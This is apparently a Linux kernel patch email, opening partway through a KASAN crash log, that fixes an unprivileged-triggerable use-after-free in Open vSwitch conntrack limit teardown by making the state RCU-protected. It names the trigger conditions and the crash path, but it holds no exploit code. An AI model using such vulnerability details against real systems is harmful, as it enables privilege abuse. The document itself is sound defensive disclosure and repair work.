[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx___dev_direct_xmit+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? netdev_pick_tx+0x147/0xc80
[Wed Mar 18 20:20:25 2026] [  T10321]  packet_xmit+0x1ee/0x360
[Wed Mar 18 20:20:25 2026] [  T10321]  packet_sendmsg+0x2704/0x55c0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? find_held_lock+0x2d/0x110
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx___might_resched+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __sanitizer_cov_trace_switch+0x54/0x90
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? aa_sk_perm+0x2e6/0xb80
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_packet_sendmsg+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_aa_sk_perm+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  __sys_sendto+0x47e/0x4d0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx___sys_sendto+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_lock_release+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? trace_lock_acquire+0x145/0x1c0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? rcu_is_watching+0x12/0xc0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? rcu_is_watching+0x12/0xc0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  __x64_sys_sendto+0xe5/0x1c0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? do_syscall_64+0x93/0x250
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? lockdep_hardirqs_on+0x7b/0x110
[Wed Mar 18 20:20:25 2026] [  T10321]  do_syscall_64+0xc7/0x250
[Wed Mar 18 20:20:25 2026] [  T10321]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Wed Mar 18 20:20:25 2026] [  T10321] RIP: 0033:0x7f820deb59ee
[Wed Mar 18 20:20:25 2026] [  T10321] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[Wed Mar 18 20:20:25 2026] [  T10321] RSP: 002b:00007f820de16dd8 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[Wed Mar 18 20:20:25 2026] [  T10321] RAX: ffffffffffffffda RBX: 00007f820de176c0 RCX: 00007f820deb59ee
[Wed Mar 18 20:20:25 2026] [  T10321] RDX: 000000000000003a RSI: 00007f820de16e70 RDI: 0000000000000005
[Wed Mar 18 20:20:25 2026] [  T10321] RBP: 000055bb787812d0 R08: 00007f820de16e50 R09: 0000000000000014
[Wed Mar 18 20:20:25 2026] [  T10321] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000001337
[Wed Mar 18 20:20:25 2026] [  T10321] R13: 0000000000000052 R14: 00007ffc21454830 R15: 00007f820d617000
[Wed Mar 18 20:20:25 2026] [  T10321]  </TASK>

[Wed Mar 18 20:20:25 2026] [  T10321] Allocated by task 10293:
[Wed Mar 18 20:20:25 2026] [  T10321]  kasan_save_stack+0x33/0x60
[Wed Mar 18 20:20:25 2026] [  T10321]  kasan_save_track+0x14/0x30
[Wed Mar 18 20:20:25 2026] [  T10321]  __kasan_kmalloc+0xaa/0xb0
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_ct_init+0xee/0x4d0
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_init_net+0x304/0x5b0
[Wed Mar 18 20:20:25 2026] [  T10321]  ops_init+0x1e4/0x600
[Wed Mar 18 20:20:25 2026] [  T10321]  setup_net+0x224/0x860
[Wed Mar 18 20:20:25 2026] [  T10321]  copy_net_ns+0x2ab/0x5e0
[Wed Mar 18 20:20:25 2026] [  T10321]  create_new_namespaces+0x3ef/0xae0
[Wed Mar 18 20:20:25 2026] [  T10321]  unshare_nsproxy_namespaces+0xc8/0x1f0
[Wed Mar 18 20:20:25 2026] [  T10321]  ksys_unshare+0x437/0xa10
[Wed Mar 18 20:20:25 2026] [  T10321]  __x64_sys_unshare+0x36/0x50
[Wed Mar 18 20:20:25 2026] [  T10321]  do_syscall_64+0xc7/0x250
[Wed Mar 18 20:20:25 2026] [  T10321]  entry_SYSCALL_64_after_hwframe+0x77/0x7f

[Wed Mar 18 20:20:25 2026] [  T10321] Freed by task 1492:
[Wed Mar 18 20:20:25 2026] [  T10321]  kasan_save_stack+0x33/0x60
[Wed Mar 18 20:20:25 2026] [  T10321]  kasan_save_track+0x14/0x30
[Wed Mar 18 20:20:25 2026] [  T10321]  kasan_save_free_info+0x3b/0x60
[Wed Mar 18 20:20:25 2026] [  T10321]  __kasan_slab_free+0x4f/0x70
[Wed Mar 18 20:20:25 2026] [  T10321]  kfree+0x14a/0x4a0
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_ct_exit+0x19c/0x270
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_exit_net+0xb3/0x9b0
[Wed Mar 18 20:20:25 2026] [  T10321]  ops_exit_list+0xb5/0x180
[Wed Mar 18 20:20:25 2026] [  T10321]  cleanup_net+0x5bc/0xb20
[Wed Mar 18 20:20:25 2026] [  T10321]  process_one_work+0x96d/0x1b60
[Wed Mar 18 20:20:25 2026] [  T10321]  worker_thread+0x647/0xe70
[Wed Mar 18 20:20:25 2026] [  T10321]  kthread+0x2b0/0x3a0
[Wed Mar 18 20:20:25 2026] [  T10321]  ret_from_fork+0x4a/0x80
[Wed Mar 18 20:20:25 2026] [  T10321]  ret_from_fork_asm+0x1a/0x30

[Wed Mar 18 20:20:25 2026] [  T10321] The buggy address belongs to the object at ffff888035c1f3e0
                                       which belongs to the cache kmalloc-32 of size 32
[Wed Mar 18 20:20:25 2026] [  T10321] The buggy address is located 0 bytes inside of
                                       freed 32-byte region [ffff888035c1f3e0, ffff888035c1f400)

[Wed Mar 18 20:20:25 2026] [  T10321] The buggy address belongs to the physical page:
[Wed Mar 18 20:20:25 2026] [  T10321] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x35c1f
[Wed Mar 18 20:20:25 2026] [  T10321] flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
[Wed Mar 18 20:20:25 2026] [  T10321] page_type: f5(slab)
[Wed Mar 18 20:20:25 2026] [  T10321] raw: 00fff00000000000 ffff88801c042940 ffffea0000967490 ffffea000082b650
[Wed Mar 18 20:20:25 2026] [  T10321] raw: 0000000000000000 0000000000150015 00000001f5000000 0000000000000000
[Wed Mar 18 20:20:25 2026] [  T10321] page dumped because: kasan: bad access detected
[Wed Mar 18 20:20:25 2026] [  T10321] page_owner tracks the page as allocated
[Wed Mar 18 20:20:25 2026] [  T10321] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x52800(GFP_NOWAIT|__GFP_NORETRY|__GFP_COMP), pid 5358, tgid 5358 (systemd-tmpfile), ts 75209207871, free_ts 75022619452
[Wed Mar 18 20:20:25 2026] [  T10321]  post_alloc_hook+0x2ea/0x350
[Wed Mar 18 20:20:25 2026] [  T10321]  get_page_from_freelist+0x7af/0x3990
[Wed Mar 18 20:20:25 2026] [  T10321]  __alloc_pages_noprof+0x22b/0x26d0
[Wed Mar 18 20:20:25 2026] [  T10321]  alloc_pages_mpol_noprof+0x2ce/0x610
[Wed Mar 18 20:20:25 2026] [  T10321]  new_slab+0x2e5/0x420
[Wed Mar 18 20:20:25 2026] [  T10321]  ___slab_alloc+0xe60/0x19e0
[Wed Mar 18 20:20:25 2026] [  T10321]  __slab_alloc.isra.0+0x5b/0xb0
[Wed Mar 18 20:20:25 2026] [  T10321]  __kmalloc_cache_noprof+0x2b9/0x300
[Wed Mar 18 20:20:25 2026] [  T10321]  kmem_cache_free+0x2d3/0x490
[Wed Mar 18 20:20:25 2026] [  T10321]  __fput+0x68b/0xb60
[Wed Mar 18 20:20:25 2026] [  T10321]  __fput_sync+0x4a/0x60
[Wed Mar 18 20:20:25 2026] [  T10321]  __x64_sys_close+0x8b/0x100
[Wed Mar 18 20:20:25 2026] [  T10321]  do_syscall_64+0xc7/0x250
[Wed Mar 18 20:20:25 2026] [  T10321]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Wed Mar 18 20:20:25 2026] [  T10321] page last free pid 5359 tgid 5359 stack trace:
[Wed Mar 18 20:20:25 2026] [  T10321]  free_unref_page+0x6e8/0x1020
[Wed Mar 18 20:20:25 2026] [  T10321]  tlb_finish_mmu+0x284/0x830
[Wed Mar 18 20:20:25 2026] [  T10321]  exit_mmap+0x3e4/0xb40
[Wed Mar 18 20:20:25 2026] [  T10321]  __mmput+0x12a/0x4c0
[Wed Mar 18 20:20:25 2026] [  T10321]  mmput+0x67/0x70
[Wed Mar 18 20:20:25 2026] [  T10321]  do_exit+0x969/0x2ce0
[Wed Mar 18 20:20:25 2026] [  T10321]  do_group_exit+0xda/0x2a0
[Wed Mar 18 20:20:25 2026] [  T10321]  __x64_sys_exit_group+0x43/0x50
[Wed Mar 18 20:20:25 2026] [  T10321]  __pfx___do_sys_ni_syscall+0x0/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  do_syscall_64+0xc7/0x250
[Wed Mar 18 20:20:25 2026] [  T10321]  entry_SYSCALL_64_after_hwframe+0x77/0x7f

[Wed Mar 18 20:20:25 2026] [  T10321] Memory state around the buggy address:
[Wed Mar 18 20:20:25 2026] [  T10321]  ffff888035c1f280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[Wed Mar 18 20:20:25 2026] [  T10321]  ffff888035c1f300: fc fc fc fc 00 00 00 00 fc fc fc fc fc fc fc fc
[Wed Mar 18 20:20:25 2026] [  T10321] >ffff888035c1f380: fc fc fc fc fc fc fc fc fc fc fc fc fa fb fb fb
[Wed Mar 18 20:20:25 2026] [  T10321]                                                        ^
[Wed Mar 18 20:20:25 2026] [  T10321]  ffff888035c1f400: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[Wed Mar 18 20:20:25 2026] [  T10321]  ffff888035c1f480: fc fc fc fc 00 00 00 00 fc fc fc fc fc fc fc fc
[Wed Mar 18 20:20:25 2026] [  T10321] ==================================================================
[Wed Mar 18 20:20:25 2026] [  T10321] Kernel panic - not syncing: KASAN: panic_on_warn set ...

-----END crash log-----

Best regards,
Yuqi Xu

 net/openvswitch/conntrack.c | 120 ++++++++++++++++++++++++------------
 net/openvswitch/conntrack.h |   6 +-
 net/openvswitch/datapath.c  |  12 +++-
 net/openvswitch/datapath.h  |   8 ++-
 4 files changed, 99 insertions(+), 47 deletions(-)

base-commit: 564973a259ec76f2dad0853420e7034cc43994c4

Packet processing uses CT limit state under RCU, while netns teardown frees that state under ovs_mutex. The CT limit pointer was neither removed from readers nor protected by a grace period, allowing packet processing to dereference the freed state.

An unprivileged user can trigger this bug from a user and network namespace, causing a slab-use-after-free in ovs_ct_execute() when the netns is torn down.

Publish the CT limit pointer through RCU, remove it before teardown, and wait for readers before freeing its contents. Keep ovs_mutex around individual CT limit updates, and use the RCU read-side lock while GET traverses the RCU-protected limit lists.

Netns teardown detaches the RCU-protected CT limit state in the pernet .pre_exit callback while holding ovs_mutex. The pernet core guarantees an RCU grace period between the .pre_exit and .exit callbacks, so the .exit callback completes the teardown without adding any extra synchronization.

The netlink command handlers do not need NULL checks because the userspace netlink socket holds an active reference to its network namespace while a request is processed. The per-netns exit path therefore cannot run concurrently with SET, DEL, or GET for that socket's namespace.

---

Changes in v8:

- Rebase onto net/main, which now contains the adjacent nf_connlabels leak fix.
- Move the CT limit detach to the pernet .pre_exit callback and complete the teardown in .exit, relying on the RCU grace period that the pernet core guarantees between the two. Drop the extra synchronize_rcu() and use plain kfree() in the teardown path.
- v7 Link: https://lore.kernel.org/all/[email protected]/

Changes in v7:

- Split CT limit teardown into a start/finish pair so that the RCU grace period wait happens after ovs_mutex is released, keeping the lock from blocking other ovs_mutex users during the wait.
- v6 Link: https://lore.kernel.org/all/[email protected]/

Changes in v6:

- Explain why netlink command handlers do not need NULL checks.
- Document that teardown currently waits for the RCU grace period while holding ovs_mutex, leaving lock-scope optimization for a separate change.
- v5 Link: https://lore.kernel.org/all/[email protected]/

Changes in v5:

- Remove unreachable command-path NULL handling because netlink sockets keep their network namespaces alive while requests are processed.
- Restore the previous SET, DEL, and GET command semantics.
- Document the ct_limit_info RCU and ovs_mutex locking contract.
- v4 Link: https://lore.kernel.org/all/[email protected]/

Changes in v4:

- Restore per-entry ovs_mutex locking for CT limit SET and DEL.
- Treat CT limit updates racing with netns teardown as successful no-ops.
- Free an uninstalled CT limit allocation and document GET helpers' RCU contract.
- v3 Link: https://lore.kernel.org/all/[email protected]/

Changes in v3:

- Use RCU dereference and a NULL check for CT limit GET requests.
- Limit ovs_mutex to CT limit updates; do not hold it while preparing replies.
- Use ovsl_dereference() for update paths and clarify the RCU grace-period comment.
- v2 Link: https://lore.kernel.org/all/[email protected]

Changes in v2:

- Sort local declarations modified by this patch in reverse
Christmas-tree order.
- v1 Link: https://lore.kernel.org/all/aa8a1d8dcbac8a13dbdf077a642a66f4c5d81e4b.1784355642.git.xuyuqiabc@gmail.com/

 net/openvswitch/conntrack.c | 120 ++++++++++++++++++++++++------------
 net/openvswitch/conntrack.h |   6 +-
 net/openvswitch/datapath.c  |  12 +++-
 net/openvswitch/datapath.h  |   8 ++-
 4 files changed, 99 insertions(+), 47 deletions(-)

index 38c6f34776c2..8ca5bb155eeb 100644
@@ -933,10 +933,14 @@ static int ovs_ct_check_limit(struct net *net,
 			      const struct ovs_conntrack_info *info)
 {
 	struct ovs_net *ovs_net = net_generic(net, ovs_net_id);
-	const struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
+	const struct ovs_ct_limit_info *ct_limit_info;
 	u32 per_zone_limit, connections;
 	u32 conncount_key;
 
+	ct_limit_info = rcu_dereference(ovs_net->ct_limit_info);
+	if (!ct_limit_info)
+		return 0;
+
 	conncount_key = info->zone.id;
 
 	per_zone_limit = ct_limit_get(ct_limit_info, info->zone.id);

@@ -1585,40 +1589,55 @@ static void __ovs_ct_free_action(struct ovs_conntrack_info *ct_info)
 #if	IS_ENABLED(CONFIG_NETFILTER_CONNCOUNT)
 static int ovs_ct_limit_init(struct net *net, struct ovs_net *ovs_net)
 {
+	struct ovs_ct_limit_info *info;
 	int i, err;
 
-	ovs_net->ct_limit_info = kmalloc_obj(*ovs_net->ct_limit_info);
-	if (!ovs_net->ct_limit_info)
+	info = kmalloc_obj(*info);
+	if (!info)
 		return -ENOMEM;
 
-	ovs_net->ct_limit_info->default_limit = OVS_CT_LIMIT_DEFAULT;
-	ovs_net->ct_limit_info->limits =
+	info->default_limit = OVS_CT_LIMIT_DEFAULT;
+	info->limits =
 		kmalloc_objs(struct hlist_head, CT_LIMIT_HASH_BUCKETS);
-	if (!ovs_net->ct_limit_info->limits) {
-		kfree(ovs_net->ct_limit_info);
+	if (!info->limits) {
+		kfree(info);
 		return -ENOMEM;
 	}
 
 	for (i = 0; i < CT_LIMIT_HASH_BUCKETS; i++)
-		INIT_HLIST_HEAD(&ovs_net->ct_limit_info->limits[i]);
+		INIT_HLIST_HEAD(&info->limits[i]);
 
-	ovs_net->ct_limit_info->data = nf_conncount_init(net, sizeof(u32));
+	info->data = nf_conncount_init(net, sizeof(u32));
 
-	if (IS_ERR(ovs_net->ct_limit_info->data)) {
-		err = PTR_ERR(ovs_net->ct_limit_info->data);
-		kfree(ovs_net->ct_limit_info->limits);
-		kfree(ovs_net->ct_limit_info);
+	if (IS_ERR(info->data)) {
+		err = PTR_ERR(info->data);
+		kfree(info->limits);
+		kfree(info);
 		pr_err("openvswitch: failed to init nf_conncount %d\n", err);
 		return err;
 	}
+	rcu_assign_pointer(ovs_net->ct_limit_info, info);
 	return 0;
 }
 
-static void ovs_ct_limit_exit(struct net *net, struct ovs_net *ovs_net)
+static void *ovs_ct_limit_exit_start(struct ovs_net *ovs_net)
+{
+	return rcu_replace_pointer(ovs_net->ct_limit_info, NULL,
+				   lockdep_ovsl_is_held());
+}
+
+/* The CT limit state must be detached by ovs_ct_limit_exit_start() and an
+ * RCU grace period must elapse before this function runs.  The pernet core
+ * guarantees the grace period between the .pre_exit and .exit callbacks.
+ */
+static void ovs_ct_limit_exit_finish(struct net *net, void *data)
 {
-	const struct ovs_ct_limit_info *info = ovs_net->ct_limit_info;
+	const struct ovs_ct_limit_info *info = data;
 	int i;
 
+	if (!info)
+		return;
+
 	nf_conncount_destroy(net, info->data);
 	for (i = 0; i < CT_LIMIT_HASH_BUCKETS; ++i) {
 		struct hlist_head *head = &info->limits[i];

@@ -1626,7 +1645,7 @@ static void ovs_ct_limit_exit(struct net *net, struct ovs_net *ovs_net)
 		struct hlist_node *next;
 
 		hlist_for_each_entry_safe(ct_limit, next, head, hlist_node)
-			kfree_rcu(ct_limit, rcu);
+			kfree(ct_limit);
 	}
 	kfree(info->limits);
 	kfree(info);

@@ -1665,12 +1684,13 @@ static bool check_zone_id(int zone_id, u16 *pzone)
 	return false;
 }
 
-static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit,
-				       struct ovs_ct_limit_info *info)
+static int ovs_ct_limit_set_zone_limit(struct ovs_net *ovs_net,
+				       struct nlattr *nla_zone_limit)
 {
 	struct ovs_zone_limit *zone_limit;
-	int rem;
+	struct ovs_ct_limit_info *info;
 	u16 zone;
+	int rem;
 
 	rem = NLA_ALIGN(nla_len(nla_zone_limit));
 	zone_limit = (struct ovs_zone_limit *)nla_data(nla_zone_limit);

@@ -1679,6 +1699,7 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit,
 		if (unlikely(zone_limit->zone_id ==
 				OVS_ZONE_LIMIT_DEFAULT_ZONE)) {
 			ovs_lock();
+			info = ovsl_dereference(ovs_net->ct_limit_info);
 			info->default_limit = zone_limit->limit;
 			ovs_unlock();
 		} else if (unlikely(!check_zone_id(

@@ -1695,6 +1716,7 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit,
 			ct_limit->limit = zone_limit->limit;
 
 			ovs_lock();
+			info = ovsl_dereference(ovs_net->ct_limit_info);
 			ct_limit_set(info, ct_limit);
 			ovs_unlock();
 		}

@@ -1709,12 +1731,13 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit,
 	return 0;
 }
 
-static int ovs_ct_limit_del_zone_limit(struct nlattr *nla_zone_limit,
-				       struct ovs_ct_limit_info *info)
+static int ovs_ct_limit_del_zone_limit(struct ovs_net *ovs_net,
+				       struct nlattr *nla_zone_limit)
 {
 	struct ovs_zone_limit *zone_limit;
-	int rem;
+	struct ovs_ct_limit_info *info;
 	u16 zone;
+	int rem;
 
 	rem = NLA_ALIGN(nla_len(nla_zone_limit));
 	zone_limit = (struct ovs_zone_limit *)nla_data(nla_zone_limit);

@@ -1723,6 +1746,7 @@ static int ovs_ct_limit_del_zone_limit(struct nlattr *nla_zone_limit,
 		if (unlikely(zone_limit->zone_id ==
 				OVS_ZONE_LIMIT_DEFAULT_ZONE)) {
 			ovs_lock();
+			info = ovsl_dereference(ovs_net->ct_limit_info);
 			info->default_limit = OVS_CT_LIMIT_DEFAULT;
 			ovs_unlock();
 		} else if (unlikely(!check_zone_id(

@@ -1730,6 +1754,7 @@ static int ovs_ct_limit_del_zone_limit(struct nlattr *nla_zone_limit,
 			OVS_NLERR(true, "zone id is out of range");
 		} else {
 			ovs_lock();
+			info = ovsl_dereference(ovs_net->ct_limit_info);
 			ct_limit_del(info, zone);
 			ovs_unlock();
 		}

@@ -1773,6 +1798,7 @@ static int __ovs_ct_limit_get_zone_limit(struct net *net,
 	return nla_put_nohdr(reply, sizeof(zone_limit), &zone_limit);
 }
 
+/* Called with RCU read lock held. */
 static int ovs_ct_limit_get_zone_limit(struct net *net,
 				       struct nlattr *nla_zone_limit,
 				       struct ovs_ct_limit_info *info,

@@ -1796,12 +1822,10 @@ static int ovs_ct_limit_get_zone_limit(struct net *net,
 							&zone))) {
 			OVS_NLERR(true, "zone id is out of range");
 		} else {
-			rcu_read_lock();
 			limit = ct_limit_get(info, zone);
 
 			err = __ovs_ct_limit_get_zone_limit(
 				net, info->data, zone, limit, reply);
-			rcu_read_unlock();
 			if (err)
 				return err;
 		}

@@ -1816,6 +1840,7 @@ static int ovs_ct_limit_get_zone_limit(struct net *net,
 	return 0;
 }
 
+/* Called with RCU read lock held. */
 static int ovs_ct_limit_get_all_zone_limit(struct net *net,
 					   struct ovs_ct_limit_info *info,
 					   struct sk_buff *reply)

@@ -1828,19 +1853,16 @@ static int ovs_ct_limit_get_all_zone_limit(struct net *net,
 	if (err)
 		return err;
 
-	rcu_read_lock();
 	for (i = 0; i < CT_LIMIT_HASH_BUCKETS; ++i) {
 		head = &info->limits[i];
 		hlist_for_each_entry_rcu(ct_limit, head, hlist_node) {
 			err = __ovs_ct_limit_get_zone_limit(net, info->data,
 				ct_limit->zone, ct_limit->limit, reply);
 			if (err)
-				goto exit_err;
+				return err;
 		}
 	}
 
-exit_err:
-	rcu_read_unlock();
 	return err;
 }
 

@@ -1850,7 +1872,6 @@ static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info)
 	struct sk_buff *reply;
 	struct ovs_header *ovs_reply_header;
 	struct ovs_net *ovs_net = net_generic(sock_net(skb->sk), ovs_net_id);
-	struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
 	int err;
 
 	reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_SET,

@@ -1863,8 +1884,8 @@ static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info)
 		goto exit_err;
 	}
 
-	err = ovs_ct_limit_set_zone_limit(a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT],
-					  ct_limit_info);
+	err = ovs_ct_limit_set_zone_limit(ovs_net,
+					  a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT]);
 	if (err)
 		goto exit_err;
 

@@ -1884,7 +1905,6 @@ static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info)
 	struct sk_buff *reply;
 	struct ovs_header *ovs_reply_header;
 	struct ovs_net *ovs_net = net_generic(sock_net(skb->sk), ovs_net_id);
-	struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
 	int err;
 
 	reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_DEL,

@@ -1897,8 +1917,8 @@ static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info)
 		goto exit_err;
 	}
 
-	err = ovs_ct_limit_del_zone_limit(a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT],
-					  ct_limit_info);
+	err = ovs_ct_limit_del_zone_limit(ovs_net,
+					  a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT]);
 	if (err)
 		goto exit_err;
 

@@ -1918,7 +1938,7 @@ static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info)
 	struct ovs_header *ovs_reply_header;
 	struct net *net = sock_net(skb->sk);
 	struct ovs_net *ovs_net = net_generic(net, ovs_net_id);
-	struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
+	struct ovs_ct_limit_info *ct_limit_info;
 	int err;
 
 	reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_GET,

@@ -1932,18 +1952,19 @@ static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info)
 		goto exit_err;
 	}
 
+	rcu_read_lock();
+	ct_limit_info = rcu_dereference(ovs_net->ct_limit_info);
 	if (a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT]) {
 		err = ovs_ct_limit_get_zone_limit(
 			net, a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT], ct_limit_info,
 			reply);
-		if (err)
-			goto exit_err;
 	} else {
 		err = ovs_ct_limit_get_all_zone_limit(net, ct_limit_info,
 						      reply);
-		if (err)
-			goto exit_err;
 	}
+	rcu_read_unlock();
+	if (err)
+		goto exit_err;
 
 	nla_nest_end(reply, nla_reply);
 	genlmsg_end(reply, ovs_reply_header);

@@ -2018,12 +2039,29 @@ int ovs_ct_init(struct net *net)
 	return err;
 }
 
-void ovs_ct_exit(struct net *net)
+/* Must be called with ovs_mutex held.  Detaches the RCU-protected
+ * ct_limit_info and stores it in ovs_net->ct_exit_data for
+ * ovs_ct_exit_finish() to complete the teardown after an RCU grace period.
+ */
+void ovs_ct_exit_start(struct net *net __maybe_unused)
+{
+#if	IS_ENABLED(CONFIG_NETFILTER_CONNCOUNT)
+	struct ovs_net *ovs_net = net_generic(net, ovs_net_id);
+
+	ovs_net->ct_exit_data = ovs_ct_limit_exit_start(ovs_net);
+#endif
+}
+
+/* Completes the CT limit teardown.  The pernet core guarantees an RCU
+ * grace period between detaching the state in ovs_ct_exit_start() and
+ * this call, so no RCU readers remain.
+ */
+void ovs_ct_exit_finish(struct net *net, void *data __maybe_unused)
 {
 	struct ovs_net *ovs_net = net_generic(net, ovs_net_id);
 
 #if	IS_ENABLED(CONFIG_NETFILTER_CONNCOUNT)
-	ovs_ct_limit_exit(net, ovs_net);
+	ovs_ct_limit_exit_finish(net, data);
 #endif
 
 	if (ovs_net->xt_label)

index 317e525c8a11..a516e5bae4f3 100644
@@ -14,7 +14,8 @@ enum ovs_key_attr;
 
 #if IS_ENABLED(CONFIG_NF_CONNTRACK)
 int ovs_ct_init(struct net *);
-void ovs_ct_exit(struct net *);
+void ovs_ct_exit_start(struct net *net);
+void ovs_ct_exit_finish(struct net *net, void *data);
 bool ovs_ct_verify(struct net *, enum ovs_key_attr attr);
 int ovs_ct_copy_action(struct net *, const struct nlattr *,
 		       const struct sw_flow_key *, struct sw_flow_actions **,

@@ -40,7 +41,8 @@ void ovs_ct_free_action(const struct nlattr *a);
 
 static inline int ovs_ct_init(struct net *net) { return 0; }
 
-static inline void ovs_ct_exit(struct net *net) { }
+static inline void ovs_ct_exit_start(struct net *net) { }
+static inline void ovs_ct_exit_finish(struct net *net, void *data) { }
 
 static inline bool ovs_ct_verify(struct net *net, int attr)
 {

index ded46d993a4e..362e322fb41f 100644
@@ -2757,17 +2757,24 @@ static void __net_exit list_vports_from_net(struct net *net, struct net *dnet,
 	}
 }
 
+static void __net_exit ovs_pre_exit_net(struct net *dnet)
+{
+	ovs_lock();
+	ovs_ct_exit_start(dnet);
+	ovs_unlock();
+}
+
 static void __net_exit ovs_exit_net(struct net *dnet)
 {
-	struct datapath *dp, *dp_next;
 	struct ovs_net *ovs_net = net_generic(dnet, ovs_net_id);
 	struct vport *vport, *vport_next;
+	struct datapath *dp, *dp_next;
 	struct net *net;
 	LIST_HEAD(head);
 
 	ovs_lock();
 
-	ovs_ct_exit(dnet);
+	ovs_ct_exit_finish(dnet, ovs_net->ct_exit_data);
 
 	list_for_each_entry_safe(dp, dp_next, &ovs_net->dps, list_node)
 		__dp_destroy(dp);

@@ -2791,6 +2798,7 @@ static void __net_exit ovs_exit_net(struct net *dnet)
 
 static struct pernet_operations ovs_net_ops = {
 	.init = ovs_init_net,
+	.pre_exit = ovs_pre_exit_net,
 	.exit = ovs_exit_net,
 	.id   = &ovs_net_id,
 	.size = sizeof(struct ovs_net),

index 696640e88fa7..446553c51c30 100644
@@ -164,7 +164,10 @@ struct dp_upcall_info {
  * Protected by genl_mutex.
  * @dp_notify_work: A work notifier to handle port unregistering.
  * @masks_rebalance: A work to periodically optimize flow table caches.
- * @ct_limit_info: A hash table of conntrack zone connection limits.
+ * @ct_limit_info: Hash table of conntrack zone connection limits. Protected
+ * by RCU; updates and teardown are serialized by ovs_mutex. May be NULL during
+ * netns teardown.
+ * @ct_exit_data: CT limit state detached at .pre_exit, freed at .exit.
  * @xt_label: Whether connlables are configured for the network or not.
  */
 struct ovs_net {

@@ -172,7 +175,8 @@ struct ovs_net {
 	struct work_struct dp_notify_work;
 	struct delayed_work masks_rebalance;
 #if	IS_ENABLED(CONFIG_NETFILTER_CONNCOUNT)
-	struct ovs_ct_limit_info *ct_limit_info;
+	struct ovs_ct_limit_info __rcu *ct_limit_info;
+	struct ovs_ct_limit_info *ct_exit_data;
 #endif
 	bool xt_label;
 };

[...]